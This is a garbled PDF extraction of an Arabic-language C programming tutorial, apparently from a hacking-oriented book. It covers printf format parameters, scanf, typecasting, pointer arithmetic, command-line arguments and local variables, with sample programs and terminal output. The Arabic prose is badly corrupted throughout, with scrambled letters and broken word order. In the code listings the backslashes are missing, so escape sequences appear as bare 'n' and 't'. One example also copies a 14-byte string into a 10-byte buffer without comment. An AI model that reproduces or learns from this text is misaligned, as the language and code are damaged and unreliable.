‫ُم‬ ‫يغ‬‫ص‬‫ب‬ ‫تغريات‬ُ‫مل‬‫ا‬ ‫ج‬‫َتائ‬‫ن‬ ‫بإظاذر‬ ‫تقوم‬‫ل‬ ‫ها‬‫ل‬‫بداط‬
‫ة‬
.
“This function can use format strings to print variables in many different format”
‫ماييل‬
.‫أشكاهلا‬ ‫بعض‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[46]
Parameter Output Type
%d Decimal
%u Unsigned decimal
%x Hexadecimal
%s String
%n Number of bytes written
‫م‬ُ‫ذ‬ ‫اجلدول‬ ‫يف‬ ‫ثالثة‬ ‫أول‬
format parameters
‫ال‬ ‫عرض‬‫ب‬ ‫تقوم‬
"
data
"
.‫احلاجة‬ ‫حسب‬ ‫تلفة‬ ُ
‫ُم‬ ‫غ‬َ‫ي‬‫ص‬‫ب‬
‫ال‬ ‫من‬ ‫أطرى‬ ‫أنواع‬ ‫توجد‬
format strings
‫ض‬‫ر‬َ‫ع‬‫ل‬ ‫استخدامها‬ ‫ننا‬‫مك‬ُ‫ي‬
data
‫وال‬
"
address-of-data
"
‫نفس‬ ‫يف‬
.‫الوقت‬
‫التايل‬ ‫ثال‬‫امل‬ ‫يف‬
‫س‬
‫ال‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ن‬
(
%s
)
‫ا‬ ‫طباعة‬‫ل‬
‫ل‬
string
‫حتى‬
‫ال‬ ‫لىل‬ ‫ل‬‫َص‬‫ت‬
null character
،
‫م‬ُ‫ث‬
‫نقوم‬
‫باستخدام‬
‫ة‬َ‫غ‬‫ي‬‫الص‬
(%x)
‫ال‬ ‫ة‬َ‫باع‬‫ط‬‫ل‬
"
address-of that string in the memory
"
.
‫س‬ ً‫ا‬‫أيض‬
‫نست‬
‫خدم‬
(%08x)
‫ال‬ ‫مع‬
“dereferencing operator”
‫وذو‬
(&)
‫رض‬َ‫ع‬‫ل‬
address-of
‫نوعه‬ ‫تغري‬ُ‫مل‬
integer
‫يف‬
.‫الكود‬ ‫يف‬ ‫سطر‬ ‫آطر‬
‫ولكن‬
‫الصيغة‬ ‫تعني‬ ‫ماذا‬
(%08x)
‫؟‬
.
‫يل‬ ‫اطبع‬ ‫تعني‬
8 bytes
‫بصيغة‬
hexadecimal
.
‫الرقم‬ ‫بل‬َ‫ق‬ ‫صفر‬ ‫نا‬‫ع‬ َ
‫ض‬َ‫و‬ ‫وملاذا‬
8
(%08x)
..
‫؟‬
ُ‫أ‬‫س‬
‫ك‬ُ‫طرب‬
‫عقب‬
‫املثال‬
‫التايل‬
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[47]
#include <stdio.h>
int main() {
char string[10];
int A = -73;
unsigned int B = 31337;
strcpy(string, "sample");
// Example of printing with different format string
printf("[A] Dec: %d, Hex: %x, Unsigned: %un", A, A, A);
printf("[B] Dec: %d, Hex: %x, Unsigned: %un", B, B, B);
printf("[field width on B] 3: '%3u', 10: '%10u', '%08u'n",
B, B, B);
printf("[string] %s Address %08xn", string, string);
// Example of unary address operator (dereferencing) and a %x format string
printf("variable A is at address: %08xn", &A);
}
‫ل‬
:‫الرائع‬ ‫الكود‬ ‫ذذا‬ ‫نتائج‬ ‫د‬‫ُشاذ‬‫ن‬
reader@hacking:~/booksrc $ gcc -o fmt_strings fmt_strings.c
reader@hacking:~/booksrc $ ./fmt_strings
[A] Dec: -73, Hex: ffffffb7, Unsigned: 4294967223
[B] Dec: 31337, Hex: 7a69, Unsigned: 31337
[field width on B] 3: ‘31337’, 10: ‘ 31337’, ‘00031337’
[string] sample Address bffff870
variable A is at address: bffff86c
reader@hacking:~/booksrc $
‫حيدث‬ ‫الذي‬ ‫ماذذا‬
!

..
‫تغري‬ُ‫مل‬‫ا‬ ‫ض‬‫ر‬َ‫ع‬ ‫ُص‬ َ
‫خت‬ ‫كانت‬ ‫نتائج‬ ‫أول‬
A
‫صيغ‬ ‫بثالث‬
..
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[48]
‫ري‬َ‫غ‬‫ت‬ُ‫مل‬‫ا‬ ‫رض‬َ‫ع‬‫ب‬ ‫الثاين‬ ‫السطر‬ ‫يف‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬
B
‫غ‬َ‫ي‬‫ص‬ ‫الثة‬َ‫ث‬‫ب‬ ً‫ا‬‫أيض‬
..
‫أن‬ ‫ر‬‫َذك‬‫ت‬‫و‬
Unsigned
‫سالب‬ ‫م‬َ‫ي‬‫ق‬ ‫ض‬‫ر‬‫َع‬‫ت‬ ‫ال‬
‫ة‬
.!
.
‫ال‬ ‫وذو‬ ‫الثالث‬ ‫للسطر‬ ‫نأيت‬ ‫م‬ُ‫ث‬
"
field width on B
:"
‫ال‬ ‫ب‬‫جان‬‫ب‬ ‫رقم‬ ‫ُب‬‫ت‬‫نك‬ ‫ما‬َ‫ند‬‫ع‬ ‫نا‬ُ‫ذ‬
%u
‫ختص‬ ‫د‬‫نقص‬ ُ‫قنحن‬
،‫للمخرجات‬ ‫املساحة‬ ‫من‬ ‫أدنى‬ ‫حد‬ ‫يص‬
‫وضع‬ ً‫ال‬‫قمث‬
%3u
‫ا‬ ‫مساحة‬ ‫ل‬‫َق‬‫ت‬ ‫أال‬ ‫ب‬ َ
‫جي‬ ..‫ِبا‬ ‫نقصد‬
‫عن‬ ‫خرجات‬ُ‫مل‬
3 bytes
..
‫ك‬‫نمتل‬ ُ‫نحن‬ ..‫نا‬ُ‫ذ‬ ‫حالتنا‬ ‫يف‬ ‫ن‬‫ولك‬
5 bytes
..
‫سنقوم‬ ً‫ا‬‫لذ‬
‫بعمل‬
expand
‫ألن‬ ..‫للمساحة‬
!‫ققط‬ ‫األدنى‬ ‫احلد‬ ‫لنا‬ ‫حدد‬ ‫الرشط‬
..
ُ‫ه‬‫ن‬‫م‬ ‫نا‬‫ب‬َ‫ل‬َ‫ط‬ ‫م‬ُ‫ث‬
‫مساحة‬ ‫يف‬ ‫أدنى‬ ‫بحد‬ ‫الناتج‬ ‫لظهار‬
10
،
‫ب‬ ‫املساحة‬ ‫باقي‬ ‫ملئ‬‫ب‬ ‫سيقوم‬ ‫نا‬ُ‫ذ‬
spaces
‫تالحظ‬ ‫كام‬
‘ 31337’
‫ب‬
‫أنه‬
!‫أرقام‬ ‫سة‬ َ
‫َخ‬ ‫م‬ُ‫ث‬ ‫ساقات‬َ‫م‬ ‫َخس‬ ‫نا‬َ‫ل‬ َ‫ع‬ َ
‫ض‬َ‫و‬
.
‫له‬ ‫حددنا‬ ‫الثالث‬ ‫الطلب‬ ‫يف‬
%08x
‫رقم‬ ‫وضعنا‬ ‫أننا‬ ‫بام‬
zero
‫ال‬ ‫قبل‬
8
‫ل‬َ‫م‬َ‫ع‬ ‫ُريد‬‫ن‬ ‫قنحن‬
padding
‫م‬َ‫ي‬‫ق‬‫ب‬
0
‫لئ‬َ‫مل‬ ‫ققط‬..
‫ال‬ ‫باقي‬
8 bytes
‫بال‬ ‫يمة‬‫الق‬ ‫ض‬‫ر‬‫َع‬‫ن‬ ‫ألننا‬ ‫وذلك‬ ‫بأصفار‬
Hex
.!
:‫َرى‬‫ت‬ ‫َام‬‫ك‬ ‫جات‬ َ‫خر‬ُ‫مل‬‫ا‬ ‫قتكون‬
‘00031337’
‫لقد‬
‫ال‬ ‫م‬ُ‫ث‬ ‫أصفار‬ ‫ثالثة‬ ‫نا‬َ‫ل‬ َ‫ع‬ َ
‫ض‬َ‫و‬
‫ال‬ ‫ل‬‫َم‬‫ت‬‫َك‬‫ت‬‫ل‬ ‫أرقام‬ ‫ة‬ َ
‫س‬ َ
‫َخ‬
8 bytes
.
‫توجد‬
function
‫ال‬ ‫لة‬‫عائ‬‫ل‬ ‫تنتمي‬ ‫أطرى‬
Standard Input/Output functions
،‫عليها‬ ‫ف‬ ّ‫َعر‬‫ت‬َ‫ت‬ ‫أن‬ ‫د‬َ‫َو‬‫ن‬
‫لهنا‬
Scanf( )
،
‫و‬
‫ه‬‫ب‬‫ُش‬‫ت‬
printf( )
‫الوظيف‬ ‫يف‬
‫ة‬
‫بينام‬ ‫دطالت‬ُ‫مل‬‫ا‬ ‫مع‬ ‫تتعامل‬ ‫أهنا‬ ‫لال‬
‫تتع‬
.!‫خرجات‬ُ‫مل‬‫ا‬ ‫مع‬ ‫األطرى‬ ‫امل‬
ً‫ا‬‫أيض‬ ‫طصائصها‬ ‫من‬
‫ال‬ ‫مع‬ ‫تتعامل‬ ‫أهنا‬
“address of variables”
‫ال‬ ‫عن‬ ً‫ا‬‫وض‬‫ع‬
variables
‫َعريف‬‫ت‬‫ب‬ ‫ستقوم‬ ‫أنك‬ ‫بمعنى‬ ،‫ذاهتا‬
‫َغري‬‫ت‬ُ‫مل‬‫ا‬
int var
‫لىل‬ ‫بإدطاله‬ ‫رغبتك‬ ‫ند‬‫ع‬ ‫م‬ُ‫ث‬ ،ً‫ال‬‫مث‬
scanf( )
‫كالتايل‬ ُ‫ه‬‫ل‬‫ُدط‬‫ت‬‫س‬
"
&var
"
.
‫عىل‬ ‫ثال‬‫م‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫ذيا‬
‫ذلك‬
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[49]
#include <stdio.h>
#include <string.h>
int main() {
char message[10];
int count, i;
strcpy(message, "Hello, world!");
printf("Repeat how many times? ");
scanf("%d", &count);
for(i=0; i < count; i++)
printf("%3d - %sn", i, message);
}
‫قإن‬ ‫ترى‬ ‫كام‬
scanf( )
‫نا‬‫م‬ ‫ستنتظر‬
decimal value
‫نفسه‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫مع‬ ‫تتعامل‬ ‫لن‬ ‫ولكنها‬
"
count
،"
‫ال‬ ‫مع‬ ‫ستتعامل‬ ‫بل‬
“address of count in memory”
.
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫منا‬ُ‫ق‬ ‫ذا‬‫وهل‬
declare
‫تغري‬ُ‫للم‬
count
‫ال‬ ‫باستخدام‬ ‫لليها‬ ‫أدطلناه‬ ‫م‬ُ‫ث‬ ‫ق‬‫و‬َ‫ق‬
“dereferencing operator”
.
‫ر‬َ‫ع‬ ً‫ا‬‫أيض‬
‫آطر‬ ‫تغري‬ُ‫م‬ ‫قنا‬
(i)
‫لل‬ ‫تكرار‬ ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫لنا‬ ‫يسمح‬ ‫كي‬
string
‫ا‬ ‫املرات‬ ‫عدد‬ ‫عىل‬ ً‫ء‬‫بنا‬
‫ظهور‬ ‫بعد‬ ‫َحديدذا‬‫ت‬‫ب‬ ‫َقوم‬‫ن‬ َ
‫س‬ ‫لتي‬
‫الرسالة‬
"
Repeat how many times
"
.
:‫النتائج‬ ‫ماييل‬
reader@hacking:~/booksrc $ gcc -o input input.c
reader@hacking:~/booksrc $ ./input
Repeat how many times? 3
0 - Hello, world!
1 - Hello, world!
2 - Hello, world!
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[50]
reader@hacking:~/booksrc $ ./input
Repeat how many times? 12
0 - Hello, world!
1 - Hello, world!
2 - Hello, world!
3 - Hello, world!
4 - Hello, world!
5 - Hello, world!
6 - Hello, world!
7 - Hello, world!
8 - Hello, world!
9 - Hello, world!
10 - Hello, world!
11 - Hello, world!
reader@hacking:~/booksrc $
‫ِبذا‬
‫أ‬
‫ظن‬
‫أن‬
‫ه‬
‫قد‬
‫استقرت‬
‫أذذاننا‬ ‫يف‬
‫ال‬ ‫استخدام‬ ‫أساليب‬
format strings
،
‫سننتقل‬
‫اآلن‬
‫ذو‬ ‫جديد‬ ‫ملفهوم‬
‫ال‬
Typecasting
.
Typecasting
‫ؤقت‬ُ‫م‬ ‫طريقة‬ ‫عن‬ ‫بارة‬‫ع‬ ‫ذو‬
‫ة‬
‫ال‬ ‫لتغيري‬
data type
‫ال‬ ‫م‬َ‫فه‬َ‫ي‬ .‫لياه‬ ‫تعريفنا‬ ‫أثناء‬ ‫نوعه‬ ‫عن‬ ‫النظر‬ ‫بغض‬ ،‫ما‬ ٍ‫تغري‬ُ‫بم‬ ‫اخلاص‬
compiler
‫سيت‬ ُ‫ه‬‫أن‬
‫ال‬ ‫عىل‬ ً‫ء‬‫نا‬‫ب‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ ‫ع‬َ‫م‬ ‫عامل‬
new type
.‫العملية‬ ‫ذه‬َ‫هل‬ ‫ققط‬ ..ُ‫ه‬‫ل‬ ‫عطى‬ُ‫مل‬‫ا‬
:‫ييل‬ ‫كام‬ ‫صيغته‬ ‫تكون‬
(typecast_data_type) var
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[51]
:‫مثال‬ ‫لنأطذ‬
#include <stdio.h>
int main() {
int a, b;
float c, d;
a = 13;
b = 5;
c = a / b; // Divide using integers.
d = (float) a / (float) b; // Divide integers typecast as floats.
printf("[integers]t a = %dt b = %dn", a, b);
printf("[floats]t c = %ft d = %fn", c, d);
}
:‫النتائج‬
reader@hacking:~/booksrc $ gcc typecasting.c
reader@hacking:~/booksrc $ ./a.out
[integers] a = 13 b = 5
[floats] c = 2.000000 d = 2.600000
reader@hacking:~/booksrc $
‫ال‬ ‫استخدام‬ ‫حالة‬ ‫يف‬ ‫القسمة‬ ‫ناتج‬ ‫قإن‬ ‫ترى‬ ‫كام‬
int
‫سيكون‬
2
‫ققط‬
،
..‫واآلن‬
‫طلبنا‬ ‫لو‬
‫ا‬
‫ل‬
mod
‫تعلم‬ ‫ذل‬
‫س‬ ‫ماذا‬
‫يكون‬
‫الناتج‬
‫؟‬
.
‫ناك‬ُ‫ذ‬
‫ال‬ ‫ُص‬ َ
‫خت‬ ‫الحظة‬ُ‫م‬
Pointers
‫ال‬ ‫ل‬ُ‫م‬‫َعا‬‫ت‬ ‫أثناء‬
compiler
‫ال‬ ‫تكون‬ ‫أن‬ ‫حيتاج‬ ‫قإنه‬ ..‫معه‬
pointers
َ‫د‬‫د‬َ ُ
‫حم‬
‫ة‬
:ً‫ال‬‫قمث‬ ..
“An integer pointer should point to integer data, while a character pointer should only point to
character data”.
‫عام‬ ‫وبصورة‬
‫ة‬
..
‫يشغل‬
‫ال‬
integer
‫مس‬
‫قدرذا‬ ‫احة‬
4 bytes
،
‫يشغل‬ ‫بينام‬
‫ال‬
char
‫مساحة‬
1 byte
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[52]
Size of an int is 4 bytes on most architectures, and the size of a char is 1 byte.
!‫ر‬ َ
‫آط‬ ‫ثال‬‫م‬ ‫ذ‬ ُ
‫َأط‬‫ن‬‫ل‬
:
‫استخدام‬ ‫ُالحظ‬‫ت‬‫س‬
format parameter
‫وذو‬ ..‫جديد‬
(
%p
)
‫داطل‬
‫ال‬
printf( )
‫عرض‬‫ل‬
‫ال‬ ‫تويات‬ ُ
‫حم‬
pointer
‫ا‬ ‫ذذا‬ ،
‫ل‬
(
%p
)
‫الصيغة‬ ً‫ا‬‫متام‬ ‫شبه‬ُ‫ي‬
(0x%08x)
‫بال‬ ‫النتائج‬ ‫عرض‬ ‫ُريد‬‫ن‬ ‫أننا‬ ‫عنى‬َ‫م‬‫ب‬
Hexadecimal
،
‫ناسب‬ُ‫مل‬‫ا‬ ‫الصيغة‬ ‫وذي‬
‫ة‬
‫رض‬َ‫ع‬‫ل‬
‫ا‬
‫ل‬
memory address
.
#include <stdio.h>
int main() {
int i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
char *char_pointer;
int *int_pointer;
char_pointer = char_array;
int_pointer = int_array;
for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer.
printf("[integer pointer] points to %p, which contains the integer
%dn", int_pointer, *int_pointer);
int_pointer = int_pointer + 1;
}
for(i=0; i < 5; i++) { // Iterate through the char array with the char_pointer.
printf("[char pointer] points to %p, which contains the char
'%c'n", char_pointer, *char_pointer);
char_pointer = char_pointer + 1;
}
}
‫ال‬ َ‫ن‬‫م‬ ‫ني‬َ‫ع‬‫َو‬‫ن‬ ‫َعريف‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬ ‫ققد‬ ‫ترى‬ ‫كام‬
arrays
‫قنا‬‫ر‬َ‫ع‬ ‫م‬ُ‫ث‬ ،‫نارص‬َ‫ع‬ ‫سة‬ َ
‫َخ‬ ‫عىل‬ ‫حتتويان‬
two pointers
‫لىل‬ ‫شري‬ُ‫ي‬ ‫منهم‬ ‫ُل‬‫ك‬
‫ال‬
array
‫له‬ ‫ناظرة‬ُ‫مل‬‫ا‬
(char_pointer = char_array;)
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[53]
‫بالدطو‬ ‫قمنا‬ ‫ثم‬
‫دالة‬ ‫لىل‬ ‫ل‬
for
‫ال‬ ‫لنجعل‬
pointer
‫الرقم‬ ‫من‬ ً‫ا‬‫بدء‬ ‫داطلها‬ ‫يدور‬
1
‫الرقم‬ ‫حتى‬
5
..
:‫أمرين‬ ‫بطباعة‬ ‫سيقوم‬

‫ال‬ ‫ذو‬ ‫األول‬
"
address of that number in memory
"
‫ال‬ ‫أن‬ ُ
‫حيث‬
pointer
‫الرقم‬ ‫عنوان‬ ‫لىل‬ ‫شري‬ُ‫ي‬ َ
‫س‬
‫لل‬ ‫استدعاء‬ ‫جرد‬ُ‫م‬‫ب‬ ‫وذلك‬ !‫امليموري‬ ‫داطل‬ ‫املطلوب‬
pointer
:‫كالتايل‬
printf("[integer pointer] points to %pn", int_pointer);

‫ال‬ ‫ذلك‬ ‫لليه‬ ‫يشري‬ ‫الذي‬ ‫ذاته‬ ‫الرقم‬ ‫ذو‬ ‫والثاين‬
pointer
،
‫ال‬ ‫نستدعي‬ ‫بأن‬ ،‫ببساطة‬ ‫وذلك‬
pointer
‫لكن‬ ً‫ا‬‫أيض‬
‫قبله‬ ‫سنضع‬
)*(
‫له‬ ‫نقول‬ ‫وكأننا‬
"
‫ال‬ ‫ذذا‬ ‫حيويه‬ ‫ما‬ ‫لنا‬ ‫ج‬‫طر‬َ‫أ‬
block
‫لليه‬ ‫ُشري‬‫ت‬ ‫الذي‬
"
.!
:‫الصيغة‬ َ‫ي‬‫ذ‬ ‫وذا‬
printf("[integer pointer] points to %dn", *int_pointer);
‫ال‬ ‫يبدأ‬ ‫أن‬ ‫بعد‬ ‫أنه‬ ‫الحظ‬
pointer
‫ال‬ ‫رض‬َ‫ع‬‫ب‬
address
‫لىل‬ ‫ينتقل‬ َ
‫س‬ ،‫تواه‬ ُ
‫حم‬ ‫رض‬َ‫ع‬‫ب‬ ‫م‬ُ‫ث‬
instruction
‫دالة‬ ‫داطل‬ ‫التالية‬
for
:‫وذي‬
int_pointer = int_pointer + 1;
‫ال‬ ‫لىل‬ ‫شري‬ُ‫ي‬‫ل‬ ‫ل‬‫نتق‬َ‫ي‬ َ
‫س‬ ‫نه‬ُ‫أ‬ ‫أي‬
address
‫دا‬ ‫التايل‬
‫املصفوق‬ ‫ل‬‫ط‬
‫ة‬
‫الرقم‬ ‫د‬ َ‫تواج‬َ‫ي‬ ُ
‫حيث‬ ،
2
..
‫َم‬‫ك‬ ..ً‫ا‬‫لذ‬
byte
..‫ذا؟‬‫فز‬َ‫ق‬‫ب‬ ‫قوم‬َ‫ي‬ َ
‫س‬
‫ال‬ ‫قيمة‬ ‫زيادة‬ ‫وبعد‬
pointer
‫اد‬‫د‬َ‫ع‬‫ال‬ ‫سيزداد‬
i++
،
‫الرقم‬ ‫لىل‬ ‫ل‬‫َص‬‫ن‬ ‫أن‬ ‫لىل‬ ‫ملية‬َ‫ع‬‫ال‬ ‫ر‬ ِّ‫َر‬‫ك‬ُ‫ن‬..
5
‫ج‬‫طار‬ ‫بعدذا‬ ‫ج‬ ُ‫ر‬‫َخ‬‫ن‬ ‫م‬ُ‫ث‬ .
.!‫الدالة‬
‫ال‬ ‫صفوقة‬َ‫م‬ ‫لىل‬ ‫ننتقل‬ ‫م‬ُ‫ث‬
characters
‫م‬ ‫ر‬ ِّ‫َر‬‫ك‬ُ‫ن‬‫و‬
.‫رشحناه‬ ‫ا‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[54]
:‫الكود‬ ‫نتائج‬
reader@hacking:~/booksrc $ gcc pointer_types.c
reader@hacking:~/booksrc $ ./a.out
[integer pointer] points to 0xbffff7f0, which contains the integer 1
[integer pointer] points to 0xbffff7f4, which contains the integer 2
[integer pointer] points to 0xbffff7f8, which contains the integer 3
[integer pointer] points to 0xbffff7fc, which contains the integer 4
[integer pointer] points to 0xbffff800, which contains the integer 5
[char pointer] points to 0xbffff810, which contains the char 'a'
[char pointer] points to 0xbffff811, which contains the char 'b'
[char pointer] points to 0xbffff812, which contains the char 'c'
[char pointer] points to 0xbffff813, which contains the char 'd'
[char pointer] points to 0xbffff814, which contains the char 'e'
reader@hacking:~/booksrc $
‫ال‬ ‫أن‬ ‫الحظ‬
integer pointer
‫بمقدار‬ ‫يزداد‬
"
4 bytes
"
.
‫العدد‬ ‫من‬ ‫انتقلنا‬ ً‫ال‬‫قمث‬
8
‫احلرف‬ ‫اىل‬
C
‫عىل‬ ‫باملرور‬ ‫وذلك‬
‫األرقام‬
:
9, A, B, C
،
‫ال‬ ‫بنظام‬ ‫نتعامل‬ ‫ألننا‬ ‫وذذا‬
Hexadecimal
‫ذو‬ ‫تاح‬ُ‫م‬ ‫حرف‬ ‫آطر‬ ‫حيث‬
f
،
‫لىل‬ ‫يعود‬ ‫وبعدذا‬
‫احلا‬ ‫كام‬ ،‫الصفر‬
‫من‬ ‫االنتقال‬ ‫يف‬ ‫ل‬
0xbffff7fc
‫لىل‬
0xbffff800
.
‫ال‬ ‫يزداد‬ ‫قابل‬ُ‫مل‬‫ا‬ ‫ويف‬
character pointer
‫بمقدار‬
"
1 byte
"
.‫يظهر‬ ‫كام‬
‫السابق‬ ‫املثال‬ ‫يف‬ َ‫د‬‫ر‬ُ‫ماو‬ ‫لك‬ ‫ص‬ِّ‫ُلخ‬‫ت‬ ‫األسطر‬ ‫ذذه‬
:
A char is 1 byte, an int is (typically) 4 bytes. When you increment a pointer, you increment by
the size of the data being pointed to. So, when you increment a char*, you increment by 1 byte,
and when you increment an int*, you increment 4 bytes.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[55]
Command Line Arguments
‫عىل‬ ‫حتتوي‬ ‫ال‬ ‫التي‬ ‫الربامج‬ ‫حالة‬ ‫يف‬ ‫املدطالت‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫نستخدم‬
GUI
‫حتت‬ ‫ال‬ ‫حيث‬
‫أي‬ ‫لىل‬ ‫اج‬
Interaction
‫يف‬
‫ال‬ ‫ل‬َ‫ب‬‫ق‬ ‫من‬ ‫الغالب‬
users
‫بالعمل‬ ‫الربنامج‬ ‫يبدأ‬ ‫أن‬ ‫بعد‬
،
‫ال‬ ‫تستقبل‬ ‫ال‬ ‫قهي‬
inputs
‫ال‬ ‫دالة‬ ‫عرب‬
scanf( )
،‫التقليدية‬
‫ال‬ ‫لضاقة‬ ‫يمكنك‬ ‫ولكن‬
arguments
‫ت‬ ‫بأن‬ ‫الربنامج‬ ‫يستقبلها‬ ‫أن‬ ‫تود‬ ‫التي‬
،‫الربنامج‬ ‫لسم‬ ‫بعد‬ ‫بكتابتها‬ ‫قوم‬
‫عترب‬ُ‫ي‬ ُ
‫حيث‬
‫الربنامج‬ ‫لسم‬
argument [0]
‫ي‬ ‫ثم‬
.‫أنت‬ ُ‫ه‬ُ‫ل‬‫ُدط‬‫ت‬ ‫ما‬ ‫بعدذا‬ ‫أيت‬
‫بيئة‬ ‫يف‬ ‫ملحوظ‬ ‫بشكل‬ ‫املدطالت‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫نستخدم‬
‫ال‬
DOS
‫و‬
Linux Terminal
.
‫ال‬ ‫بتعريف‬ ‫سنقوم‬
arguments
‫ال‬ ‫يف‬
main( )
‫أول‬ ‫ألهنا‬
Function
‫ال‬ ‫لليها‬ ‫شري‬ُ‫ي‬
EIP
،‫الربنامج‬ ‫عمل‬ ‫بداية‬ ‫عند‬
‫بإضاقة‬ ‫سنقوم‬ ..‫املهم‬
integer
َ
‫عترب‬ُ‫ي‬
‫اد‬‫د‬َ‫ع‬‫ك‬
‫ال‬ ‫عدد‬ ‫َحديد‬‫ت‬‫ل‬
Arguments
‫لدطاهلا‬ ‫راد‬ُ‫مل‬‫ا‬
..
‫م‬ُ‫ث‬
"
pointer to an array of strings
،"
‫ال‬ ‫ذذه‬
array
‫ال‬ ‫ستكون‬
arguments
.‫ذاهتا‬
:‫صيغتها‬ ‫ذي‬ ‫ذذه‬
int main(int argc, char *argv[])
:‫مثال‬ ‫ُعطي‬‫ن‬‫ل‬
#include <stdio.h>
int main(int arg_count, char *arg_list[]) {
int i;
printf("There were %d arguments provided:n", arg_count);
for(i=0; i < arg_count; i++)
printf("argument #%dt - t%sn", i, arg_list[i]);
}
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[56]
‫ال‬ ‫عدد‬ ‫د‬ِّ‫د‬َ‫ُح‬‫ن‬ ‫مل‬ ‫أننا‬ ‫يبدو‬
arguments
‫طلوب‬َ‫مل‬‫ا‬
ً‫ا‬‫سبق‬ُ‫م‬ ‫لدطاهلا‬
!
‫ق‬ ،
‫الكو‬ ‫ذذا‬ ‫ّا‬‫ن‬‫م‬ ‫سيستقبل‬
‫ال‬ ‫من‬ ‫عدد‬ ‫أي‬ ‫د‬
Arguments
‫بإدطاله‬ ‫نقوم‬
‫دالة‬ ‫باستخدام‬ ‫الشاشة‬ ‫عىل‬ ‫نا‬‫ل‬ ‫بطباعته‬ ‫يقوم‬ ‫م‬ُ‫ث‬ ،
printf( )
‫ال‬ ‫ترتيب‬ ‫تعرض‬ ُ
‫حيث‬
argument
‫ال‬ ‫و‬ ‫ة‬َ‫ل‬ َ
‫دط‬ُ‫مل‬‫ا‬
string
.‫ا‬َ‫هل‬ ‫ة‬ َ‫ر‬‫ناظ‬ُ‫مل‬‫ا‬
‫ماييل‬
:‫النتائج‬
reader@hacking:~/booksrc $ gcc -o commandline commandline.c
reader@hacking:~/booksrc $ ./commandline
There were 1 arguments provided:
argument #0 - ./commandline
reader@hacking:~/booksrc $ ./commandline this is a test
There were 5 arguments provided:
argument #0 - ./commandline
argument #1 - this
argument #2 - is
argument #3 - a
argument #4 - test
reader@hacking:~/booksrc $
‫أول‬ َ
‫َرب‬‫ت‬‫ع‬ُ‫ي‬ ‫ذاته‬ ‫حد‬ ‫يف‬ ‫الربنامج‬ ‫اسم‬ ‫أن‬ ‫الحظ‬
Argument
.‫باألعىل‬ ‫ر‬َ‫ظه‬َ‫ي‬ ‫َام‬‫ك‬
‫ك‬ ‫كلامت‬ ‫موعة‬ َ‫جم‬ ‫بإدطال‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬
Arguments
‫ي‬‫ل‬
‫ت‬
.‫طباعتها‬ ‫م‬
Variable Scoping
‫ال‬ ‫أنواع‬ ‫عن‬ ‫اآلن‬ ‫سنتكلم‬
variables
‫لما‬ ‫قهي‬ ..‫تعريفها‬ ‫طريقة‬ ‫يث‬ َ‫ح‬ ‫من‬
“Local”
‫أو‬
“Global”
.
‫لل‬ ‫ن‬‫مك‬ُ‫ي‬
functions
‫ِبا‬ ‫اخلاصة‬ ‫املتغريات‬ ‫متتلك‬ ‫أن‬
،
‫عمل‬ ‫يتم‬ ‫التي‬ ‫املتغريات‬ ‫وذي‬
declare
‫ال‬ ‫داطل‬ ‫هلا‬
function
‫ق‬‫ُطل‬‫ن‬‫و‬ ،
‫عليها‬
“Local variables”
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[57]
‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫لتوضيح‬ ‫مثال‬ ‫سنأطذ‬
variables
:
#include <stdio.h>
void func3() {
int i = 11;
printf("ttt[in func3] i = %dn", i);
}
void func2() {
int i = 7;
printf("tt[in func2] i = %dn", i);
func3();
printf("tt[back in func2] i = %dn", i);
}
void func1() {
int i = 5;
printf("t[in func1] i = %dn", i);
func2();
printf("t[back in func1] i = %dn", i);
}
int main() {
int i = 3;
printf("[in main] i = %dn", i);
func1();
printf("[back in main] i = %dn", i);
}
‫ال‬ ‫عند‬ ‫الربنامج‬ ‫سيبدأ‬
main( )
‫الرقم‬ ‫بطباعة‬ ‫ليقوم‬
3
‫ال‬ ‫تقوم‬ ‫م‬ُ‫ث‬ ،
main( )
‫ل‬َ‫م‬َ‫ع‬َ‫ب‬
call
‫لل‬
func1
،
‫تنتهي‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬ ‫نا‬ُ‫ذ‬
‫ال‬
func1
